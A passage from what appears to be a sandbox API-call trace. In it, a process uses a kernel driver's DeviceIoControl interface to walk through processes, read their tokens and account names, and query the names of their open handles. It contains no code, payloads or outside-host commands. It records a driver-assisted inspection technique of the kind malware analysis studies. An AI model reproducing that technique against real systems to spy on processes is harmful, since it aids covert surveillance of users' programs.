lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0113.983] PsLookupProcessByProcessId (in: ProcessId=0x82c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.983] PsAcquireProcessExitSynchronization () returned 0x0 [0113.984] KeStackAttachProcess (in: PROCESS=0xfffffa80020af800, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020af800, ApcState=0xfffff880055905d0) [0113.984] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0113.984] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.984] PsReleaseProcessExitSynchronization () returned 0x2 [0113.984] ObfDereferenceObject (Object=0xfffffa80020af800) returned 0x10 [0113.984] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800254e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.984] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0113.984] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0113.984] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.984] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x83c) returned 0xc0 [0113.984] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0113.984] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa80020bb800, HandleInformation=0x0) returned 0x0 [0113.984] ObOpenObjectByPointer (in: Object=0xfffffa80020bb800, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000bb4) returned 0x0 [0113.984] ObfDereferenceObject (Object=0xfffffa80020bb800) returned 0x12 [0113.984] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bb4, DesiredAccess=0x8, TokenHandle=0xfffffa8003bc2280 | out: TokenHandle=0xfffffa8003bc2280*=0xc8) returned 0x0 [0113.984] ZwClose (Handle=0xffffffff80000bb4) returned 0x0 [0113.984] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0113.984] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0113.984] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0113.985] CloseHandle (hObject=0xc8) returned 1 [0113.986] CloseHandle (hObject=0xc0) returned 1 [0113.986] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.986] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0113.986] PsLookupProcessByProcessId (in: ProcessId=0x83c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.986] PsAcquireProcessExitSynchronization () returned 0x0 [0113.986] KeStackAttachProcess (in: PROCESS=0xfffffa80020bb800, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020bb800, ApcState=0xfffff880055905d0) [0113.986] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80020bbf20, HandleInformation=0x0) returned 0x0 [0113.986] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.986] PsReleaseProcessExitSynchronization () returned 0x2 [0113.986] ObfDereferenceObject (Object=0xfffffa80020bb800) returned 0x10 [0113.986] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037aa7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80037aa7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.986] ObfDereferenceObject (Object=0xfffffa80020bbf20) returned 0x1 [0113.986] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0113.986] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.986] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.986] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0113.986] PsLookupProcessByProcessId (in: ProcessId=0x83c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.986] PsAcquireProcessExitSynchronization () returned 0x0 [0113.986] KeStackAttachProcess (in: PROCESS=0xfffffa80020bb800, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020bb800, ApcState=0xfffff880055905d0) [0113.986] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80020bd4a0, HandleInformation=0x0) returned 0x0 [0113.986] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.986] PsReleaseProcessExitSynchronization () returned 0x2 [0113.986] ObfDereferenceObject (Object=0xfffffa80020bb800) returned 0x10 [0113.986] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800207b7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800207b7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.986] ObfDereferenceObject (Object=0xfffffa80020bd4a0) returned 0x1 [0113.986] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0113.986] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.987] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.987] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0113.987] PsLookupProcessByProcessId (in: ProcessId=0x83c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.987] PsAcquireProcessExitSynchronization () returned 0x0 [0113.987] KeStackAttachProcess (in: PROCESS=0xfffffa80020bb800, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020bb800, ApcState=0xfffff880055905d0) [0113.987] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0113.987] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.987] PsReleaseProcessExitSynchronization () returned 0x2 [0113.987] ObfDereferenceObject (Object=0xfffffa80020bb800) returned 0x10 [0113.987] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001fa37c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa37c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.987] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0113.987] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0113.987] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.987] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x84c) returned 0xc0 [0113.987] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0113.987] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa80020c76e0, HandleInformation=0x0) returned 0x0 [0113.987] ObOpenObjectByPointer (in: Object=0xfffffa80020c76e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000bb4) returned 0x0 [0113.987] ObfDereferenceObject (Object=0xfffffa80020c76e0) returned 0x12 [0113.987] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bb4, DesiredAccess=0x8, TokenHandle=0xfffffa8003bc2280 | out: TokenHandle=0xfffffa8003bc2280*=0xc8) returned 0x0 [0113.987] ZwClose (Handle=0xffffffff80000bb4) returned 0x0 [0113.987] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0113.987] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0113.987] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0113.989] CloseHandle (hObject=0xc8) returned 1 [0113.989] CloseHandle (hObject=0xc0) returned 1 [0113.989] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.989] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0113.989] PsLookupProcessByProcessId (in: ProcessId=0x84c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.989] PsAcquireProcessExitSynchronization () returned 0x0 [0113.989] KeStackAttachProcess (in: PROCESS=0xfffffa80020c76e0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020c76e0, ApcState=0xfffff880055905d0) [0113.989] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80020c7e90, HandleInformation=0x0) returned 0x0 [0113.989] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.989] PsReleaseProcessExitSynchronization () returned 0x2 [0113.989] ObfDereferenceObject (Object=0xfffffa80020c76e0) returned 0x10 [0113.989] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800250d7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800250d7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.989] ObfDereferenceObject (Object=0xfffffa80020c7e90) returned 0x1 [0113.989] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0113.989] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.989] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.989] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0113.989] PsLookupProcessByProcessId (in: ProcessId=0x84c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.989] PsAcquireProcessExitSynchronization () returned 0x0 [0113.989] KeStackAttachProcess (in: PROCESS=0xfffffa80020c76e0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020c76e0, ApcState=0xfffff880055905d0) [0113.989] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001a143f0, HandleInformation=0x0) returned 0x0 [0113.989] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.989] PsReleaseProcessExitSynchronization () returned 0x2 [0113.989] ObfDereferenceObject (Object=0xfffffa80020c76e0) returned 0x10 [0113.989] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.990] ObfDereferenceObject (Object=0xfffffa8001a143f0) returned 0x1 [0113.990] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0113.990] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.990] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.990] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0113.990] PsLookupProcessByProcessId (in: ProcessId=0x84c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.990] PsAcquireProcessExitSynchronization () returned 0x0 [0113.990] KeStackAttachProcess (in: PROCESS=0xfffffa80020c76e0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020c76e0, ApcState=0xfffff880055905d0) [0113.990] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0113.990] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.990] PsReleaseProcessExitSynchronization () returned 0x2 [0113.990] ObfDereferenceObject (Object=0xfffffa80020c76e0) returned 0x10 [0113.990] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.990] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0113.990] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0113.990] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.990] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x85c) returned 0xc0 [0113.990] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0113.990] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa8002089060, HandleInformation=0x0) returned 0x0 [0113.990] ObOpenObjectByPointer (in: Object=0xfffffa8002089060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000bb4) returned 0x0 [0113.990] ObfDereferenceObject (Object=0xfffffa8002089060) returned 0x12 [0113.990] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bb4, DesiredAccess=0x8, TokenHandle=0xfffffa8003bc2280 | out: TokenHandle=0xfffffa8003bc2280*=0xc8) returned 0x0 [0113.990] ZwClose (Handle=0xffffffff80000bb4) returned 0x0 [0113.990] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0113.990] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0113.990] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0113.992] CloseHandle (hObject=0xc8) returned 1 [0113.992] CloseHandle (hObject=0xc0) returned 1 [0113.992] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.992] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0113.992] PsLookupProcessByProcessId (in: ProcessId=0x85c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.992] PsAcquireProcessExitSynchronization () returned 0x0 [0113.992] KeStackAttachProcess (in: PROCESS=0xfffffa8002089060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002089060, ApcState=0xfffff880055905d0) [0113.992] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80020b8830, HandleInformation=0x0) returned 0x0 [0113.992] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.992] PsReleaseProcessExitSynchronization () returned 0x2 [0113.992] ObfDereferenceObject (Object=0xfffffa8002089060) returned 0x10 [0113.992] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.992] ObfDereferenceObject (Object=0xfffffa80020b8830) returned 0x1 [0113.992] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0113.992] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.992] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.992] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x98, lpOverlapped=0x0) returned 1 [0113.992] PsLookupProcessByProcessId (in: ProcessId=0x85c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.992] PsAcquireProcessExitSynchronization () returned 0x0 [0113.992] KeStackAttachProcess (in: PROCESS=0xfffffa8002089060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002089060, ApcState=0xfffff880055905d0) [0113.992] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800206bdc0, HandleInformation=0x0) returned 0x0 [0113.992] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.993] PsReleaseProcessExitSynchronization () returned 0x2 [0113.993] ObfDereferenceObject (Object=0xfffffa8002089060) returned 0x10 [0113.993] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.993] ObfDereferenceObject (Object=0xfffffa800206bdc0) returned 0x1 [0113.993] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0113.993] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.993] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.993] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0113.993] PsLookupProcessByProcessId (in: ProcessId=0x85c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.993] PsAcquireProcessExitSynchronization () returned 0x0 [0113.993] KeStackAttachProcess (in: PROCESS=0xfffffa8002089060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002089060, ApcState=0xfffff880055905d0) [0113.993] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0113.993] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.993] PsReleaseProcessExitSynchronization () returned 0x2 [0113.993] ObfDereferenceObject (Object=0xfffffa8002089060) returned 0x10 [0113.993] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800384f7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384f7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.993] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0113.993] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0113.993] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.993] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x86c) returned 0xc0 [0113.993] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0113.993] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa80020a1360, HandleInformation=0x0) returned 0x0 [0113.993] ObOpenObjectByPointer (in: Object=0xfffffa80020a1360, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000bb4) returned 0x0 [0113.993] ObfDereferenceObject (Object=0xfffffa80020a1360) returned 0x12 [0113.993] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bb4, DesiredAccess=0x8, TokenHandle=0xfffffa8003bc2280 | out: TokenHandle=0xfffffa8003bc2280*=0xc8) returned 0x0 [0113.993] ZwClose (Handle=0xffffffff80000bb4) returned 0x0 [0113.993] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0113.993] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0113.994] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0113.995] CloseHandle (hObject=0xc8) returned 1 [0113.995] CloseHandle (hObject=0xc0) returned 1 [0113.995] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.995] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0113.995] PsLookupProcessByProcessId (in: ProcessId=0x86c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.995] PsAcquireProcessExitSynchronization () returned 0x0 [0113.995] KeStackAttachProcess (in: PROCESS=0xfffffa80020a1360, ApcState=0xfffff880055905d0 | out: 